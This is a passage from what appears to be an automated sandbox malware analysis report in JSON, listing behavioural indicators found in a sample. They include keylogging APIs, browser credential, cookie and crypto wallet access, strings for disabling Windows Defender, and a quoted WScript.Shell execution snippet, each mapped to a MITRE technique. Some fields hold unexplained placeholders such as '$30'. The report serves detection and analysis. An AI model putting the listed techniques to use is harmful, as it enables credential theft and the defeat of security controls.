configuration setting (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemMetrics\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-131","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"file/memory contains long string with (Indicator: \"mouse_event\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"keybd_event\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056","id":"string-403","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"file/memory contains long string with (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"--remote-debugging-port=\" (Indicator: \"--remote-debugging-port=\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"--remote-debugging-port=\"; Source: \"sample.bin\"), Found string \" --profile-directory=Default --new-window https://mail.google.com/\" (Indicator: \"--profile-directory=\"; Source: \"sample.bin\"), Found string \" --remote-allow-origins=*\" (Indicator: \"--remote-allow-origins\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1539","id":"string-794","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access system credential hash file","description":"file/memory contains long string with (Indicator: \"nthash\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1003.002","id":"string-867","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"file/memory contains long string with (Indicator: \"GetProcessId\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-478","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to to enumerates the credentials (API string)","description":"file/memory contains long string with (Indicator: \"CredEnumerate\"; Source: \"sample.bin\"), Found reference to API \" };\n var p = Process.Start(psi);\n string o = p.StandardOutput.ReadToEnd();\n p.WaitForExit(10000);\n sb.AppendLine(\"[Credential Manager] CredEnumerate returned 0 \" (Indicator: \"CredEnumerate\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.004","id":"string-81","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve credentials from memory","description":"file/memory contains long string with (Indicator: \" securityd\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.002","id":"string-5073","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"file/memory contains long string with (Indicator: \"GetAsyncKeyState\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"MapVirtualKey\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"VkKeyScan\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-88","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (string)","description":"$30","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-125","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to access crypto wallet extension (string)","description":"file/memory contains long string with (Indicator: \"nkbihfbeogaeaoehlefnkodbefgpgknn\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"fhbohimaelbohpjbbldcngcnapndodjp\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"hnfanknocfeofbddgcijnmhnfnkdnaad\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"fnjhmkhhmkbjkkabndcnnogagogbneec\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1217","id":"string-10066","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"$31","origin":"sample.bin","mitre_attack_id":"T1555.003","id":"string-405","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to retrieve saved login credentials from browser","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.003","id":"string-693","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-WmiObject\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Get-PnpDevice\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Get-Item \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-394","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"file/memory contains long string with (Indicator: \" Win32_ComputerSystem\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \" Win32_Process\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \" Win32_PnPEntity\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-507","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Select-Object\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Where-Object\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"ForEach-Object\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-374","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access scheduled job timer","description":"file/memory contains long string with (Indicator: \".timer\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1053.006","id":"string-5057","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"systeminfo\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"ping\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"cmdkey\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"sc query\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"route\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-126","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"file/memory contains long string with (Indicator: \"IsInRole\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-217","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-121","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"$32","origin":"sample.bin","mitre_attack_id":"T1114","id":"string-129","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-107","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"file/memory contains long string with (Indicator: \"smtp\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-499","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$33","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$34","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$35","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Network Related","name":"Able to retrieve local network connections","description":"file/memory contains long string with (Indicator: \"netsh wlan \"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"netsh wl\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"\"netstat\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1049","id":"string-361","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; Source: \"sample.bin\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1102.002","id":"string-536","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200 Connection Established\nProxy-Agent: SnakeBite\n\n\" (Indicator: \"HTTP/1.1\"; Source: \"sample.bin\"), Found string \"HTTP/1.1 502 Bad Gateway\nConnection: close\n\n\" (Indicator: \"HTTP/1.1\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-457","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy items (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Copy-Item \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-377","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Network Related","name":"Reference to an external IP address lookup service identified","description":"$36","origin":"sample.bin","mitre_attack_id":"T1016","id":"string-56","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"file/memory contains long string with (Indicator: \" connect \"; Source: \"sample.bin\"), Found reference to API \"Screen Connect open failed: \" (Indicator: \" connect \"; Source: \"sample.bin\"), Found reference to API \"Screen Connect could not open: \" (Indicator: \" connect \"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \" socket \"; Source: \"sample.bin\"), Found reference to API \"GetHostName\" (Indicator: \"gethostname\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-899","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"file/memory contains long string with (Indicator: \"/c ping\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"\"ping\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1018","id":"string-417","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Able to check internet connectivity using ping command","description":"file/memory contains long string with (Indicator: \"ping 127\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016.001","id":"string-5070","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains ability to check internet connectivity","description":"file/memory contains long string with (Indicator: \"ping 127.0.0.1\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016.001","id":"string-573","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"$37","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-169","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \"githubusercontent.com\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1102","id":"string-186","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found email domains (string)","description":"file/memory contains long string with (Indicator: \".gmx.\"; Source: \"sample.bin\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1585.002","id":"string-235","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"file/memory contains long string with (Indicator: \"disableblockatfirstseen\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disableintrusionpreventionsystem\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disablerealtimemonitoring\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disablebehaviormonitoring\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disableioavprotection\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"disablescriptscanning\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-748","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-275","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Able to execute shell commands through ASP web shell","description":"Command execution pattern detected in \"sample.bin\" (matches: processstartinfo, useshellexecute = false, readtoend()), Command execution pattern detected in \"sample.bin\" (matches: processstartinfo, useshellexecute = false, redirectstandarderror = true, readtoend()), Command execution pattern detected in \"sample.bin\" (matches: processstartinfo, useshellexecute = false, redirectstandarderror = true), Command execution pattern detected in \"sample.bin\" (matches: useshellexecute = false, redirectstandarderror = true, readtoend())","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-780","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"file/memory contains long string with (Indicator: \"TerminateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"file/memory contains long string with (Indicator: \"SetKernelObjectSecurity\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-114","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"file/memory contains long string with (Indicator: \"SetWindowsHook\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"SetWinEventHook\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"CallNextHook\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"UnhookWinEvent\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"UnhookWindowsHook\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-91","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-ItemProperty\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-367","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"SHUTDOWN removed \" (Indicator: \"shutdown \") in Source: sample.bin, Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1529","id":"string-406","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"SeLoadDriverPrivilege\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"LookupPrivilegeValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-77","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Stop-Service\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-274","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"file/memory contains long string with (Indicator: \"SystemParametersInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1098","id":"string-132","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"System Security","name":"References security-related Windows services","description":"$38","origin":"sample.bin","mitre_attack_id":"T1574.010","id":"string-43","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"System Security","name":"Able to execute commands through Windows command interpreter (ASP)","description":"Found string \"Set s=CreateObject(\"WScript.Shell\")\ns.Run Chr(34) & \"\" (Indicator: \"Set s=CreateObject(\"WScript.Shell\")\ns.Run Chr(34) & \"\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-847","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \" If fso.GetFile(T).Size < 1000 Then fso.DeleteFile T\" (Indicator: \"DeleteFile\"; Source: \"sample.bin\"), Found reference to API \" If fso.FileExists(PF) Then fso.DeleteFile PF\" (Indicator: \"DeleteFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-308","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Set-Item \"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Set-Service\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-395","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Out-Null\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Out-String\"; Source: \"sample.bin\")","origin":"sample.bin","id":"string-373","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"$39","origin":"sample.bin","id":"string-23","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"file/memory contains long string with (Indicator: \"explorer.exe\"; Source: \"sample.bin\"), Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055","id":"string-481","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"file/memory contains long string with (Indicator: \"encryptedkey\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"public key\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1486","id":"string-280","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"sample.bin\"), Found reference to API \"echo $b=[Convert]::FromBase64String($s)>>\"%PF%\"\" (Indicator: \"FromBase64String\"; Source: \"sample.bin\"), Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-106","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"CryptDecrypt\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptSetProperty\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptDestroyKey\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"CryptDestroyKey\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-438","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"file/memory contains long string with (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-927","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"file/memory contains long string with (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"CryptDecrypt\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-212","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$3a","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-602","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains asymmetric cryptographic functions (API string)","description":"file/memory contains long string with (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptSetProperty\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1573.002","id":"string-398","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \".decrypt\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-356","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES decryption (Dotnet String)","description":"$3b","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-445","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"file/memory contains long string with (Indicator: \"GetForegroundWindow\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetWindowText\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"EnumWindows\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"FindWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-141","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetLastWriteTime\" (Indicator: \"GetLastWriteTime\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetCreationTime\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetLastWriteTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to ping remote computer using PowerShell objects","description":"file/memory contains long string with (Indicator: \"System.Net.NetworkInformation.Ping\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1018","id":"string-685","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve geographical location","description":"\"?fields=status,country,countryCode\" (Indicator: \"countrycode\") in Source: sample.bin, \"http://ip-api.com/json/?fields=status,country,countryCode\" (Indicator: \"countrycode\") in Source: sample.bin, \"countryCode\" (Indicator: \"countrycode\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1614","id":"string-575","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$3c","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to obtain instances of WMI classes using PowerShell","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-696","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$3d","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-55","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"file/memory contains long string with (Indicator: \".drivetype\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1025","id":"string-713","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"file/memory contains long string with (Indicator: \"blockchain.com\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"youtube.com\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"github.com\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"paypal.com\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1590","id":"string-761","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"file/memory contains long string with (Indicator: \"cookies.sqlite\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1539","id":"string-5058","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \" PickDrop = sh.ExpandEnvironmentStrings(\"%TEMP%\") & \"\\\" & folder\" in \"sample.bin\", Found system information discovery API: \"QuerySystemInformation (in long string)\" in \"sample.bin\", Found system information discovery API: \" b0 = sh.ExpandEnvironmentStrings(\"\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-513","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"file/memory contains long string with (Indicator: \"\"set \"; Source: \"sample.bin\"), Found string \"Set fso = CreateObject(\"Scripting.File\" & \"SystemObject\")\" (Indicator: \"set \"; Source: \"sample.bin\"), Found string \"set \"PF=%TEMP%\\\" (Indicator: \"set \"; Source: \"sample.bin\"), Found string \"Set s=CreateObject(\"WScript.Shell\")\ns.Run Chr(34) & \"\" (Indicator: \"set \"; Source: \"sample.bin\"), Found string \"Set sh = CreateObject(\"WScr\" & \"ipt.Shell\")\" (Indicator: \"set \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-326","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"file/memory contains long string with (Indicator: \"select * from \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-433","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.001","id":"string-659","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-907","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1007","id":"string-910","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Contains ability to create process with hidden window (API string)","description":"$3e","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-139","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"file/memory contains long string with (Indicator: \"LoadLibrary\"; Source: 